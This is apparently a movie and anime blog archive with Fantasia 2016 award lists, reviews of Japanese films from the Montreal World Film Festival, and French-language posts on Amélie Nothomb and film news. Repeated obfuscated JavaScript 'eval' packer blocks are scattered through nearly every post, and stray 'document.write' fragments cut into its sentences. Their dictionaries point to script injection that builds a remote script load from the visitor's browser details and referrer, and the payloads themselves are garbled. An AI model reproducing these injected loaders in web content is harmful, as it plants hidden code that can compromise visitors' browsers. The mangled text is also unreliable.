Weekly notable news (week 32)

First, document.write(“”); on a personal note: the last few months have been quite trying for me (the summer has zipped past in no time). On top of having to adapt to a new job at an even crazier library, I undertook some (expensive) renovations at home and managing the various team of workers was quite a challenge. And not only I sprained my ankle (with a small fracture) so I had to wear a pneumatic cast for over a month (still do) but I also had to suffer another painful medical problem (won a free game in our pinball’s medical system). And I broke my glasses this morning. It seems that I am in for another anus horribilis. All this left me exhausted physically, mentally and morally. I lost all patience I had left to deal with (stupid) people and the world (tired of Trump and all this violence). To quote Indiana Jones, I am really getting too old for this shit. Therefore, I didn’t write much lately. Sorry.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfykn|var|u0026u|referrer|anizy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frnin|var|u0026u|referrer|siezr||js|php’.split(‘|’),0,{}))

However, all is not lost. The weather has been beautiful in the last few days and I am starting to feel better (hopefully it will keep improving; think positive: life is good). In the last week or so, I’ve been trying to remedy to this unfortunate neglect in my blogger’s duty. And, since the film festivals season is at our doors, I am starting to put online my movie comments from last year’s MWFF, in order to build up the interest and anticipation (whether the festival happens or not). I hope it’s working.

As always, I also keep myself acquainted with the affairs of the world. So, here are a few notable news & links that I came across this week (in no particular order):

And some Funnies…


Between Friends: Saturday, April 2, 2016

Rhyme with Orange: Monday, April 4, 2016

Ben: Saturday, April 16, 2016

Dilbert: Sunday, April 17, 2016

[ Traduire ]

Fantasia 2016 wrap-up


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzrnf|var|u0026u|referrer|kbzid||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adysi|var|u0026u|referrer|efitr||js|php’.split(‘|’),0,{}))
The 20th edition of the
Fantasia International Film Festival just concluded after three weeks with a total of 209 screenings (including 19 world premieres), document.write(“”); over 100,000 spectators, and a near-record number of special guests (700 international guests, including some 400 film industry professionals like Guillermo Del Toro and Takashi Miike). This years’ awards are:


CHEVAL NOIR

  • Best Feature: TRAIN TO BUSAN by Yeon Sang-ho
  • Best Director: Kiyoshi Kurosawa for CREEPY
  • Best Screenplay: E J-Yong for THE BACCHUS LADY
  • Best Actor: Franko Dijak, GORAN
  • Best Actress: Youn Yuh-jung, THE BACCHUS LADY
  • Special Jury Prize: THE LURE (Poland, dir.: Agnieszka Smoczynska)

NEW FLESH AWARD FOR BEST FIRST FEATURE

  • MAN UNDERGROUND by Michael Borowiec and Sam Marine
  • Special Jury Mention: Lily Mae Harrington (SOME FREAKS)

INTERNATIONAL SHORT FILM COMPETITION

  • Best International Short: A NEARLY PERFECT BLUE SKY (France)
  • Special Jury Mention for Best Emerging Short Filmmaker: Tanya Lemke for STATIC (Canada)
  • Special Jury Mention for Aesthetic Innovation: ESTATE (France / Belgium)

SATOSHI KON AWARD FOR EXCELLENCE IN ANIMATION

  • Best Animated Feature: PSYCHONAUTS, THE FORGOTTEN CHILDREN (Spain, dir: Alberto Vazquez, Pedro Rivero)
  • Best Animated Short: STEMS (U.K., dir: Ainslie Henderson)
  • Special Jury Mention for Synergy of Narration and Art: CLOUDS (Canada dir: Diego Maclean)

BARRY CONVEX AWARD FOR BEST CANADIAN FEATURE

  • FEUILLES MORTES by Thierry Bouffard, Carnior et Edouard Tremblay

PRIX AQCC (Association québécoise des critiques de cinéma) 2016

  • THE WAILING by Na Hong-jin

PRIX SÉQUENCES

  • WE ARE THE FLESH by Emiliano Rocha Minter

PRIX L’ÉCRAN FANTASTIQUE

  • BEFORE I WAKE by Mike Flanagan

AUDIENCE AWARDS

Best European / North-South American Feature

  • Gold : Tie between HUNT FOR THE WILDERPEOPLE (Dir: Taika Waititi) and UN PETIT BOULOT (Dir: Pascal Chaumeil)
  • Silver : THEY CALL ME JEEG (Dir: Gabriele Mainetti)
  • Bronze : Tie between KIKI: LOVE TO LOVE (Dir: Paco León) and THE LURE (Dir: Agnieszka Smoczynska)

Best Asian Feature

  • Gold : KING DAVE (Dir: Daniel Grou)
  • Silver : FEUILLES MORTES (Dirs: Thierry Bouffard, Carnior, Edouard A. Tremblay)
  • Bronze : tie between ÉCARTÉE (Dir: Lawrence Côté-Collins) and OPERATION AVALANCHE (Dir: Matt Johnson)

Best Documentary Feature

  • FOR THE LOVE OF SPOCK  (Dir: Adam Nimoy)

Best Animated Feature

  • SEOUL STATION (Dir: Yeon Sang-ho)

Best International Short

  • Gold : SNAKEBITE  (Dir: Tim Hyten)
  • Silver : NO TOUCHING (Dirs: Adam Davis, Will Corona Pilgrim)
  • Bronze : L’OURS NOIR (Dirs: Méryl Fortunat Rossi, Xavier Seron)

Best Quebecois Short

  • Gold : CARNASSE (Dir: Francis Bordeleau)
  • Silver : CAUCHEMAR CAPITONNÉ (Dir: Jean-Claude Leblanc)
  • Bronze : BULLSHIT (Dir: Marc Wiltshire)

(Sources: press releases, Screen Anarchy)

[ Traduire ]

Kagura-me

“Akane, document.write(“”); a young woman who lives in a small rural town in Japan, loses her mother when she is a child, and cannot overcome the loss. Akane’s father had left her mother’s side before she passed away because he went to perform kagura, a traditional ritual dance at Japanese festivals. Akane has never forgiven him and seldom talks to him. Not that he doesn’t regret his action. He too was deeply affected by his wife’s death and he never performed kagura again. Akane leaves home after high school graduation, and starts a new life far away in Tokyo. But life in the big city is overwhelming and Akane returns home after five years. Thirteen years after her mother’s death, Akane’s father has decided to come out of retirement, just to be able to dance in the big 60th anniversary festival. But he has aged. He has serious health problems. He collapses in rehearsal and it becomes clear that he won’t be able to perform. But Akane’s heart has softened. How can she help him? Perhaps by learning kagura?”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsyhf|var|u0026u|referrer|hfets||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idsen|var|u0026u|referrer|zefns||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This movie is very Japanese: it is beautiful and slow paced. It’s a rather complex story and the festival’s program did a very good job at summarizing it, so I won’t say more about it. It’s set around a rural ritual where one danse to please the gods in order to get a good harvest, but it’s a story about grief, about caring for elderly parents, and a little about domestic violence. It poses a very fundamental question about modern life in Japan: is it better to preserve the tradition as it always was or should we adapt it to modern life and therefore preserve the tradition spirit rather than its strict form?

Exceptionally, this movie was subtitled in french (which is rather rare at the MWFF as it is done mostly for the movies in competition) but, unfortunately, this time the subtitling was full of mistakes. Bad translation and spelling mistakes can be quite distracting from the movie itself. The translation was probably done hastily to present the movie at the festival.

All in all, it remains a beautiful movie (Japan’s countryside is always pleasant to look at) about the trials of life.

Kagura-me (???? / lit. “god enjoyment’s woman”): Japan, 2015, 112 mins; Dir.: Yasuo Okuaki; Scr.: Yasuo Okuaki & Nozomu Namba; Music: Kôji Igarashi; Phot.: Hiroshi Iwanaga; Prod. Des.: Takashi Yoshida; Cast: Tomomitsu Adachi, Mayumi Asaka, Masayuki Imai, Tsunehiko Kamijô, Mei Kurokawa, Ryoichi Kusanagi, Ryû Morioka, Nanako Ohkôchi, Maki Seko, Masayuki Shida, Keiko Shirasu, Rina Takeda, Ryoko Takizawa, Mariko Tsutsui, Ren Ôsugi.

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 9, 15h00 – the theatre was a little less than a quarter full) as part of the “First Film World Competition” segment. The production team organizer was present to introduce the movie.

For more information you can visit the following websites:

Introduction of the screening


Kagura-me © ?Kagura-me?Production Committee.

[ Traduire ]

Ninja Hunter

“In 1581 during a bitter feud between 2 ninja clans, document.write(“”); Tao, a ninja from the Iga Clan, wakes up with amnesia. Forty ninjas lie dead in front of him and off to one side lies a dead female ninja. He doesn’t remember how and why he got there. His assignment is to retrieve a document that will reveal the traitor’s identity. Who killed all the ninjas? Is one of them the traitor? Little by little Tao solves the mystery.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|setef|var|u0026u|referrer|srkaa||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeadn|var|u0026u|referrer|kaenk||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This screening was plagued from the start by numerous technical problems: the show started ten minutes late, there was microphone problems for the presentation, not long after the beginning the movie lost its sound, then there was sound but no picture, repeatedly. After forty-five minutes of agony, the screening was definitely stopped. I had to finish watching this movie in the press screening room later. In the end, this movie was a great disappointment.

Kei is a female ninja sent to the Koga clan as double agent. She comes back with a list of traitors inside the Iga clan. After bringing the list she go to see Tao, her friend. A battle ensue and Tao is hit on the head, loosing his memory. Now, Kei is dead, and he is not sure who the enemy is anymore. Maybe he is one of the traitor? Or is he one of the heroes? He will have to slowly figure out what happened.

This is clearly a low budget movie (they use lots of natural set like cave, temple, forest) that makes a terrible ninja movie with lots of bad fighting stunt. The costumes of not historically accurate (lots of leather and the female ninja wears high heel boots!) and the blood looks horribly fake. And there’s this very annoying special effects that marks the beginning and end of all flashbacks. The end credits are nice, though.

The idea is interesting but the execution is rather clumsy. The movie repeats the same battle scene again and again, each time with a different point of view, in order to show Tao’s conflicting memories, his current understanding of the situation or the reversal of his hypothesis. Did I mention the annoying flashbacks? The final battle is quite ridiculous. It’s an entertaining movie, but nothing more.

It is a kind of movie that would have had more appeal with the Fantasia audience, which is younger and specifically seek this kind of not-so-serious action movie. I guess that adding this title to the programming was an attempt from the MWFF to reach out to this kind of audience—without much success.

Ninja Hunter (???? / Ninja Gari) : Japan, 2015, 96 min.; Dir./Scr./Ed.: Seiji Chiba; Phot.: Kenji Tanabe, Arsuchi Yoshida; Music: Kuniyuki Morohashi; Cast: Mitsuki Koga, Mei Kurogawa, Masanori Mimoto, Kentarô Shimazu, Kazuki Tsujimoto.

Film screened at the Montreal World Film Festival on August 28th, 2015 (Cinema Quartier Latin 12, 16h00 – the theatre was a little more than a quarter full) as part of the “Focus on World Cinema” segment. The screening was interrupted due to technical problems.

For more information you can visit the following websites:
Ninja Hunter © 2015 Shochiku International.

[ Traduire ]

Tokyo Fiancée / Ni d’Eve ni d’Adam

“La tête pleine de rêves, document.write(“”); Amélie, 20 ans, revient dans le Japon de son enfance. Pour gagner sa vie, elle propose des cours particuliers de français et rencontre Rinri, son premier et unique élève, un jeune Japonais avec lequel elle noue une relation intime. Entre surprises, bonheurs et déboires d’un choc culturel à la fois amusant et poétique, elle découvre un Japon qu’elle ne connaissait pas…”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhnhr|var|u0026u|referrer|ydise||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsbhz|var|u0026u|referrer|hzrkf||js|php’.split(‘|’),0,{}))

Tokyo Fiancée : Belgique/France/Canada, 2014, 84 min.; Dir./Scr.: Stefan Liberski (d’après le roman d’Amélie Nothomb); Ed.: Frédérique Broos; Phot.: Hichame Alaouie; Mus.: Casimir Liberski; Cast: Pauline Étienne, Taichi Inoue, Julie LeBreton.

« Stupeur et tremblements pourrait donner l’impression qu’au Japon, à l’âge adulte, j’ai seulement été la plus désastreuse des employés. Ni d’Ève ni d’Adam révélera qu’à la même époque et dans le même lieu, j’ai aussi été la fiancée d’un Tokyoïte très singulier. »
                         -Amélie Nothomb.

Ni d’Eve ni d’Adam, par Amélie Nothomb. Paris, Albin Michel, 2007. 252 p. 13.0 x 20.0 cm, 18.20 € / $11.95 Cnd. ISBN 9782226179647.

Tokyo Fiancée nous offre une intéressante réflexion sur la diversité culturelle, l’étrangeté de l’autre, et particulièrement sur la difficulté des couples mixtes à concilier cette différence qui les sépare.

Si le film en lui-même est assez bon, il est aussi une excellente adaptation du roman de Amélie Nothomb. Il y a bien sûr de nombreuses différences entre les deux (quelques scènes manquantes dans le film, la motivation des personnages expliquée plus en profondeur dans le roman) mais dans l’ensemble tout l’esprit du livre est présent dans le film. C’est non seulement agréable et divertissant à regarder mais aussi très intéressant.

Pour plus d’information vous pouvez consulter les sites suivants:

Cette histoire de couple, que ce soit dans le film ou le livre, est particulèrement intéressante lorsqu’on la remet dans le contexte de l’oeuvre (et de la vie) de l’auteur. Elle fait non seulement partie des titres de Nothomb qui sont en partie autobiographiques (mais ne le sont-ils pas tous un peu?) mais est également l’un des éléments de sa “trilogie japonaise”. Stupeur et tremblement raconte le retour de l’auteur au japon, où elle avait passé son enfance, mais traite surtout de ses mésaventures au sein d’une corporation japonaise et comment l’esprit collectif japonais du jeune travailleur y est façonné par des règles strictes et par l’humiliation afin de le conformer au modèle uniforme et docile auquel s’attend la société japonaise — ce qui est toujours pire dans le cas d’une femme. Dans Nostalgie Heureuse, l’auteur raconte son second retour au Japon dans le cadre d’un reportage tourné pour la télévision française. Ni d’Eve ni d’Adam lève le voile sur la partie de l’histoire à laquelle elle avait mainte fois fait allusion sans jamais donner de détails: la relation amoureuse qu’elle a entretenu au cours de son premier retour avec un jeune japonais.

Ayant grandit au Japon, elle s’était toujours considérée comme japonaise mais son expérience durant ce premier retour lui fera réaliser que la nature nippone est beaucoup plus complexe et profonde qu’elle ne se l’imaginait…

Le livre, quant à lui, offre une narration très fluide, parsemé de l’humour sarcastique et un peu déjanté si particulier à Nothomb. C’est une très bonne lecture (comme la plupart des Nothomb).

Pour plus d’information vous pouvez consulter les sites suivants:

[ Translate ]

FFM 2016 annonce les « Chelems d’or »

Le Festival des Films du Monde de Montréal, document.write(“”); qui se tiendra du 25 août au 5 septembre 2016, commence déjà à faire parler de lui.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzten|var|u0026u|referrer|heeyz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fiify|var|u0026u|referrer|zhfnf||js|php’.split(‘|’),0,{}))

Dans un premier communiqué de presse, daté du 13 mai, le FFM annonce que pour son 40e anniversaire il accompagnera ses principaux prix de bourses importantes avec la présentation des premiers « Chelems d’or » du cinéma. Grâce à un généreux mécène, un montant de 1 M $ US sera remis aux producteurs et réalisateurs (sur une base de 50% chacun) afin de contribuer de façon unique à la création cinématographique. La somme total sera divisé en treize bourses de tailles variées: Grand prix des Amériques, Grand prix du jury, Prix FFM du court métrage, compétition mondiale des premiers longs métrages de fiction (or, argent, bronze), prix du documentaire, du meilleurs film canadien (or, argent), compétition spéciale des films chinois (or, argent), et prix du festival du film étudiant (national, international).

Avec une telle innovation qui vise à encourager la relève cinématographique, le festival espère se repositionner comme un centre important du cinéma mondial.

(Voir le communiqué de presse original en français et en anglais)

(Revue de presse: CTVM, La Presse, Le Devoir)

[ Translate ]

Weekly notable news [week 31]

Here are a few notable news & links that I came across this week:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|retiz|var|u0026u|referrer|hkzri||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkbdn|var|u0026u|referrer|htbtd||js|php’.split(‘|’),0,{}))

Funnies

Non Sequitur: Monday, March 21, 2016 (The two-party detour)

Dilbert: Tuesday, March 22, 2016 (The Elbonian Religion)

[ Traduire ]

A few more notable news

Here are a few notable news & links (mostly anime & manga related) that I came across recently:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srysa|var|u0026u|referrer|ikydn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tafbn|var|u0026u|referrer|beysr||js|php’.split(‘|’),0,{}))

[ Traduire ]

Japanese movies at Fantasia 2016


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdbkh|var|u0026u|referrer|tynha||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kayzh|var|u0026u|referrer|hynaf||js|php’.split(‘|’),0,{}))
This week the programmation for the 20th edition of the Fantasia International Film Festival was announced. Twenty years, document.write(“”); that’s worth celebrating! It will be held in Montreal from July 14 to August 3 and screenings will take place mostly at Concordia’s Theatre Hall and Salle J.A. de Sève. For more programming details you can check the festival’s web page at www.fantasiafestival.com, this year’s program [PDF] and screening schedule [PDF].

This year the festival offers 60 movies from Asia: 5 from China, 26 from Japan, 20 from Korea, 6 from Hong Kong, 1 from Taiwan, and 2 from Thailand.

As usual, we will concentrate our interest on the Japanese program that includes 4 anime (in total you can also find 33 other animated features — 29 shorts and 8 movies — from various countries). Besides Momotaro, Sacred Sailors, which is probably one of the first anime ever produced in Japan, there’s nothing out of the ordinary among those titles — although we’ve noticed that there’s lots of manga adaptations. Here’s a list of all the Japanese titles (with links to full description):


Anime:

Live-Action:

[ Traduire ]

A few notable news

Here are a few notable news & links (mostly anime & manga related) that I came across recently:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zknti|var|u0026u|referrer|ddkzs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnydi|var|u0026u|referrer|ketde||js|php’.split(‘|’),0,{}))

[ Traduire ]

Explosion of live-action adaptations

It seems that lately there is an explosion of announcements for live-action adaptations of anime or manga. Some were rumored for a long time and some come to a complete surprise. Here’s a few links to more detailed news stories:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eanie|var|u0026u|referrer|hndkk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbysb|var|u0026u|referrer|hbbri||js|php’.split(‘|’),0,{}))

I can’t wait to watch those movies…

[ Traduire ]

Le Sommet des Dieux au cinema

J’ai lu cette semaine sur le site d’Animeland que le roman de Baku Yumemakura Le Sommet des Dieux a été adapté au cinema!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehtsh|var|u0026u|referrer|hhnyy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhaay|var|u0026u|referrer|haeae||js|php’.split(‘|’),0,{}))

Intitulé Everest: le sommet des dieux (?????? – ????? / Evu-eresuto: Kamigami no Itadaki), document.write(“”); le film est réalisé par Hideyuki Hirayama, avec un script de Masato Katô, et met en vedette Junichi Okawa (Makoto Fukamachi), Hiroshi Abe (Joji Hanyu), Machiko Ono (Ryogo Kishi), Pierre Taki (Miyazawa), Masahiro Komodo (Inoue), Shunsuke Kazaa (Buntaro Kishi), Kuranosuke Sasaki (Wataru Hase). Le film, qui a réellement été tourné sur l’Everest, sortira en salle au Japon le 12 mars 2016. La bande-annonce est déjà disponible sur
le site officiel et sur Youtube:

“Dans une petite boutique népalaise, Fukamachi tombe sur un appareil photo qui pourrait bien être celui de George Mallory, le célèbre alpiniste qui fut le premier à essayer de vaincre l’Everest. Mallory disparût avec Andrew Irvine, lors de cette ascension en 1924, sans que l’on puisse savoir s’ils sont parvenus au sommet. Et si c’était seulement lors du chemin du retour qu’ils avaient eu cet accident fatal? Cela changerait l’histoire de l’alpinisme! C’est sur cette passionnante question que s’ouvre le chemin initiatique de Fukamachi qui sera amené à faire la rencontre de figures hautes en couleurs.” [résumé sur Manga-News]

Toujours selon Animeland, un court manga inspiré du film et dessiné par Tetsuya Saruwatari devrait paraitre dans le numéro de mars 2016 (parution le 24 février) de Grand Jump Premium. Décidément, le roman de Baku Yumemakura est très populaire.

